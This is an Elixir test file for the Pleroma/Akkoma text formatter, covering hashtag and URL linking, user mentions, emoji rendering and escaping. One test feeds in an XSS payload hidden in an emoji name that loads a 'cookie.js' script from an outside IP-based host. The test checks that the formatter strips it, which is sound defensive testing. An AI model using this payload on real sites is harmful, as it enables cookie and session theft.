git.squeep.com Git - akkoma/blob - test/formatter_test.exs

   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.FormatterTest do
   6   alias Pleroma.Formatter
   7   alias Pleroma.User
   8   use Pleroma.DataCase
   9
  10   import Pleroma.Factory
  11
  12   setup_all do
  13     Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  14     :ok
  15   end
  16
  17   describe ".add_hashtag_links" do
  18     test "turns hashtags into links" do
  19       text = "I love #cofe and #2hu"
  20
  21       expected_text =
  22         "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  23
  24       tags = Formatter.parse_tags(text)
  25
  26       assert expected_text ==
  27                Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  28     end
  29
  30     test "does not turn html characters to tags" do
  31       text = "Fact #3: pleroma does what mastodon't"
  32
  33       expected_text =
  34         "Fact <a class='hashtag' data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
  35
  36       tags = Formatter.parse_tags(text)
  37
  38       assert expected_text ==
  39                Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  40     end
  41   end
  42
  43   describe ".add_links" do
  44     test "turning urls into links" do
  45       text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  46
  47       expected =
  48         "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  49
  50       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  51
  52       text = "https://mastodon.social/@lambadalambda"
  53
  54       expected =
  55         "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  56
  57       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  58
  59       text = "https://mastodon.social:4000/@lambadalambda"
  60
  61       expected =
  62         "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  63
  64       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  65
  66       text = "@lambadalambda"
  67       expected = "@lambadalambda"
  68
  69       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  70
  71       text = "http://www.cs.vu.nl/~ast/intel/"
  72       expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  73
  74       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  75
  76       text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  77
  78       expected =
  79         "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  80
  81       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  82
  83       text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  84
  85       expected =
  86         "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  87
  88       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  89
  90       text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  91
  92       expected =
  93         "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  94
  95       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  96
  97       text = "https://en.wikipedia.org/wiki/Duff's_device"
  98
  99       expected =
 100         "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
 101
 102       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 103
 104       text = "https://pleroma.com https://pleroma.com/sucks"
 105
 106       expected =
 107         "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
 108
 109       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 110
 111       text = "xmpp:contact@hacktivis.me"
 112
 113       expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
 114
 115       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 116
 117       text =
 118         "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
 119
 120       expected = "<a href=\"#{text}\">#{text}</a>"
 121
 122       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 123     end
 124   end
 125
 126   describe "add_user_links" do
 127     test "gives a replacement for user links, using local nicknames in user links text" do
 128       text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
 129       gsimg = insert(:user, %{nickname: "gsimg"})
 130
 131       archaeme =
 132         insert(:user, %{
 133           nickname: "archa_eme_",
 134           info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
 135         })
 136
 137       archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 138
 139       mentions = Pleroma.Formatter.parse_mentions(text)
 140
 141       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 142
 143       assert length(subs) == 3
 144       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 145
 146       expected_text =
 147         "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
 148           gsimg.ap_id
 149         }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
 150           archaeme.id
 151         }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
 152           archaeme_remote.id
 153         }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
 154
 155       assert expected_text == Formatter.finalize({subs, text})
 156     end
 157
 158     test "gives a replacement for user links when the user is using Osada" do
 159       mike = User.get_or_fetch("mike@osada.macgirvin.com")
 160
 161       text = "@mike@osada.macgirvin.com test"
 162
 163       mentions = Formatter.parse_mentions(text)
 164
 165       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 166
 167       assert length(subs) == 1
 168       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 169
 170       expected_text =
 171         "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
 172
 173       assert expected_text == Formatter.finalize({subs, text})
 174     end
 175
 176     test "gives a replacement for single-character local nicknames" do
 177       text = "@o hi"
 178       o = insert(:user, %{nickname: "o"})
 179
 180       mentions = Formatter.parse_mentions(text)
 181
 182       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 183
 184       assert length(subs) == 1
 185       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 186
 187       expected_text =
 188         "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
 189
 190       assert expected_text == Formatter.finalize({subs, text})
 191     end
 192
 193     test "does not give a replacement for single-character local nicknames who don't exist" do
 194       text = "@a hi"
 195
 196       mentions = Formatter.parse_mentions(text)
 197
 198       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 199
 200       assert length(subs) == 0
 201       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 202
 203       expected_text = "@a hi"
 204       assert expected_text == Formatter.finalize({subs, text})
 205     end
 206   end
 207
 208   describe ".parse_tags" do
 209     test "parses tags in the text" do
 210       text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"
 211
 212       expected = [
 213         {"#Test", "test"},
 214         {"#working", "working"},
 215         {"#漢字", "漢字"},
 216         {"#は", "は"}
 217       ]
 218
 219       assert Formatter.parse_tags(text) == expected
 220     end
 221   end
 222
 223   test "it can parse mentions and return the relevant users" do
 224     text =
 225       "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
 226
 227     o = insert(:user, %{nickname: "o"})
 228     jimm = insert(:user, %{nickname: "jimm"})
 229     gsimg = insert(:user, %{nickname: "gsimg"})
 230     archaeme = insert(:user, %{nickname: "archaeme"})
 231     archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 232
 233     expected_result = [
 234       {"@gsimg", gsimg},
 235       {"@archaeme", archaeme},
 236       {"@archaeme@archae.me", archaeme_remote},
 237       {"@o", o},
 238       {"@jimm", jimm}
 239     ]
 240
 241     assert Formatter.parse_mentions(text) == expected_result
 242   end
 243
 244   test "it adds cool emoji" do
 245     text = "I love :moominmamma:"
 246
 247     expected_result =
 248       "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
 249
 250     assert Formatter.emojify(text) == expected_result
 251   end
 252
 253   test "it does not add XSS emoji" do
 254     text =
 255       "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
 256
 257     custom_emoji = %{
 258       "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
 259         "https://placehold.it/1x1"
 260     }
 261
 262     expected_result =
 263       "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
 264
 265     assert Formatter.emojify(text, custom_emoji) == expected_result
 266   end
 267
 268   test "it returns the emoji used in the text" do
 269     text = "I love :moominmamma:"
 270
 271     assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
 272   end
 273
 274   test "it returns a nice empty result when no emojis are present" do
 275     text = "I love moominamma"
 276     assert Formatter.get_emoji(text) == []
 277   end
 278
 279   test "it doesn't die when text is absent" do
 280     text = nil
 281     assert Formatter.get_emoji(text) == []
 282   end
 283
 284   describe "/mentions_escape" do
 285     test "it returns text with escaped mention names" do
 286       text = """
 287       @a_breakin_glass@cybre.space
 288       (also, little voice inside my head thinking "maybe this will encourage people
 289       pronouncing it properly instead of saying _raKEWdo_ ")
 290       """
 291
 292       escape_text = """
 293       @a\\_breakin\\_glass@cybre\\.space
 294       (also, little voice inside my head thinking \"maybe this will encourage people
 295       pronouncing it properly instead of saying _raKEWdo_ \")
 296       """
 297
 298       mentions = [{"@a_breakin_glass@cybre.space", %{}}]
 299       assert Formatter.mentions_escape(text, mentions) == escape_text
 300     end
 301   end
 302 end